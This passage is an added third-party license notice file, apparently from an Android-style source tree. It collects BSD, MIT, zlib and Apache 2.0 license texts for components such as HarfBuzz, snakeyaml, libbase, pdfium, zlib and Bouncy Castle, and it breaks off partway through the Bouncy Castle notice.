+THE C++ WRAPPER FUNCTIONS
+-------------------------
+
+Contributed by:   Google Inc.
+
+Copyright (c) 2007-2012, Google Inc.
+All rights reserved.
+
+
+THE "BSD" LICENCE
+-----------------
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+    * Redistributions of source code must retain the above copyright notice,
+      this list of conditions and the following disclaimer.
+
+    * Redistributions in binary form must reproduce the above copyright
+      notice, this list of conditions and the following disclaimer in the
+      documentation and/or other materials provided with the distribution.
+
+    * Neither the name of the University of Cambridge nor the name of Google
+      Inc. nor the names of their contributors may be used to endorse or
+      promote products derived from this software without specific prior
+      written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGE.
+
+End
+
+======================================================================
+external/harfbuzz_ng/NOTICE
+
+HarfBuzz is licensed under the so-called "Old MIT" license.  Details follow.
+For parts of HarfBuzz that are licensed under different licenses see individual
+files names COPYING in subdirectories where applicable.
+
+Copyright © 2010,2011,2012  Google, Inc.
+Copyright © 2012  Mozilla Foundation
+Copyright © 2011  Codethink Limited
+Copyright © 2008,2010  Nokia Corporation and/or its subsidiary(-ies)
+Copyright © 2009  Keith Stribley
+Copyright © 2009  Martin Hosken and SIL International
+Copyright © 2007  Chris Wilson
+Copyright © 2006  Behdad Esfahbod
+Copyright © 2005  David Turner
+Copyright © 2004,2007,2008,2009,2010  Red Hat, Inc.
+Copyright © 1998-2004  David Turner and Werner Lemberg
+
+For full copyright notices consult the individual files in the package.
+
+
+Permission is hereby granted, without written agreement and without
+license or royalty fees, to use, copy, modify, and distribute this
+software and its documentation for any purpose, provided that the
+above copyright notice and the following two paragraphs appear in
+all copies of this software.
+
+IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE TO ANY PARTY FOR
+DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES
+ARISING OUT OF THE USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN
+IF THE COPYRIGHT HOLDER HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
+DAMAGE.
+
+THE COPYRIGHT HOLDER SPECIFICALLY DISCLAIMS ANY WARRANTIES, INCLUDING,
+BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
+FITNESS FOR A PARTICULAR PURPOSE.  THE SOFTWARE PROVIDED HEREUNDER IS
+ON AN "AS IS" BASIS, AND THE COPYRIGHT HOLDER HAS NO OBLIGATION TO
+PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.
+
+======================================================================
+external/snakeyaml/NOTICE
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+======================================================================
+system/libbase/NOTICE
+
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+Copyright 2010 The Chromium Authors. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+   * Redistributions of source code must retain the above copyright
+notice, this list of conditions and the following disclaimer.
+   * Redistributions in binary form must reproduce the above
+copyright notice, this list of conditions and the following disclaimer
+in the documentation and/or other materials provided with the
+distribution.
+   * Neither the name of Google Inc. nor the names of its
+contributors may be used to endorse or promote products derived from
+this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+======================================================================
+external/pdfium/LICENSE
+
+// Copyright 2014 PDFium Authors. All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are
+// met:
+//
+//    * Redistributions of source code must retain the above copyright
+// notice, this list of conditions and the following disclaimer.
+//    * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following disclaimer
+// in the documentation and/or other materials provided with the
+// distribution.
+//    * Neither the name of Google Inc. nor the names of its
+// contributors may be used to endorse or promote products derived from
+// this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        https://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       https://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+======================================================================
+external/zlib/LICENSE
+
+version 1.2.11, January 15th, 2017
+
+Copyright (C) 1995-2017 Jean-loup Gailly and Mark Adler
+
+This software is provided 'as-is', without any express or implied
+warranty.  In no event will the authors be held liable for any damages
+arising from the use of this software.
+
+Permission is granted to anyone to use this software for any purpose,
+including commercial applications, and to alter it and redistribute it
+freely, subject to the following restrictions:
+
+1. The origin of this software must not be misrepresented; you must not
+   claim that you wrote the original software. If you use this software
+   in a product, an acknowledgment in the product documentation would be
+   appreciated but is not required.
+2. Altered source versions must be plainly marked as such, and must not be
+   misrepresented as being the original software.
+3. This notice may not be removed or altered from any source distribution.
+
+======================================================================
+external/bouncycastle/NOTICE
+
+Copyright (c) 2000-2015 The Legion of the Bouncy Castle Inc. (http://www.bouncycastle.org)
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and
+associated documentation files (the "Software"), to deal in the Software without restriction,
+including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
+and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so,
+subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies or substantial
+portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT
